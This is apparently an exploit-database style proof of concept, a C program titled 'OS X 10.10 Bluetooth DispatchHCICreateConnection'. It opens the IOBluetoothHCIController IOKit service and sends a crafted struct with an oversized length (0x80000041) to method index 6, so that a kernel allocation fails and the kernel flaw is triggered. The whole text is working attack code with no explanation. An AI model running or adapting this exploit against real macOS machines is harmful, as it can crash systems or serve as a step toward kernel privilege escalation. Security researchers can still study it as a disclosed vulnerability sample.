OS X 10.10 Bluetooth DispatchHCICreateConnection

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <IOKit/IOKitLib.h> #define SIZE 0x1000 struct BluetoothCall { uint64_t args[7]; uint64_t sizes[7]; uint64_t index; }; int main(void) { /* Finding vuln service */ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; } /* Connect to vuln service */ io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; } printf(" [+] Opened connection to service on port: %d\n", port); struct BluetoothCall a; int i; for (i=0; i<7; i++) { a.args[i] = (uint64_t) calloc(SIZE, sizeof(char)); a.sizes[i] = SIZE; } /* This value causes IOMalloc() to fail */ a.args[6] = 0x0; a.sizes[6] = 0x80000041; a.index = 0x06; /* DispatchHCICreateConnection() */ for(i = 0; i < 120; i++) { if(i % 8 == 0) printf("\n"); printf("\\x%02x", ((unsigned char *)&a)[i]); } printf("\n"); kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) &a, /* inputStruct */ 120, /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ printf("kr: %08x\n", kr); return IOServiceClose(port); }